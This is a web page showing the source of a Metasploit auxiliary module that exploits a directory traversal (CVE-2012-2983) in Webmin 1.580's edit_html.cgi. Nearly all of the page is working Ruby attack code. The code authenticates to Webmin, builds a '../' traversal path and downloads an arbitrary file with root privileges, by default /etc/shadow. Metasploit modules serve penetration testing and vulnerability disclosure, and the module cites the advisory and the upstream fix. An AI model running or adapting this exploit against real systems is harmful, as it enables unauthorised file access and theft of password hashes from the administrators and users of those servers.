Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',12'Description' => %q{13This module exploits a directory traversal in Webmin 1.580. The vulnerability14exists in the edit_html.cgi component and allows an authenticated user with access15to the File Manager Module to access arbitrary files with root privileges. The16module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.17},18'Author' => [19'Unknown', # From American Information Security Group20'juan vazquez' # Metasploit module21],22'License' => MSF_LICENSE,23'References' =>24[25['OSVDB', '85247'],26['BID', '55446'],27['CVE', '2012-2983'],28['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],29['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']30],31'DisclosureDate' => '2012-09-06',32'Actions' =>33[34['Download', 'Description' => 'Download arbitrary file']35],36'DefaultAction' => 'Download'37))3839register_options(40[41Opt::RPORT(10000),42OptBool.new('SSL', [true, 'Use SSL', true]),43OptString.new('USERNAME', [true, 'Webmin Username']),44OptString.new('PASSWORD', [true, 'Webmin Password']),45OptInt.new('DEPTH', [true, 'Traversal depth', 4]),46OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ])47])48end4950def run5152peer = "#{rhost}:#{rport}"5354print_status("Attempting to login...")5556data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"5758res = send_request_cgi(59{60'method' => 'POST',61'uri' => "/session_login.cgi",62'cookie' => "testing=1",63'data' => data64}, 25)6566if res and res.code == 302 and res.get_cookies =~ /sid/67session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''68if session and not session.empty?69print_good "Authentication successful"70else71print_error "Authentication failed"72return73end74else75print_error "Authentication failed"76return77end7879print_status("Attempting to retrieve #{datastore['RPATH']}...")8081traversal = "../" * datastore['DEPTH']82traversal << datastore['RPATH']83data = "file=#{traversal}&text=1"8485res = send_request_cgi(86{87'method' => 'GET',88'uri' => "/file/edit_html.cgi?#{data}",89'cookie' => "sid=#{session}"90}, 25)9192if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m)93loot = $194f = ::File.basename(datastore['RPATH'])95path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])96print_good("#{datastore['RPATH']} saved in #{path}")97else98print_error("Failed to retrieve the file")99return100end101102end103end104105106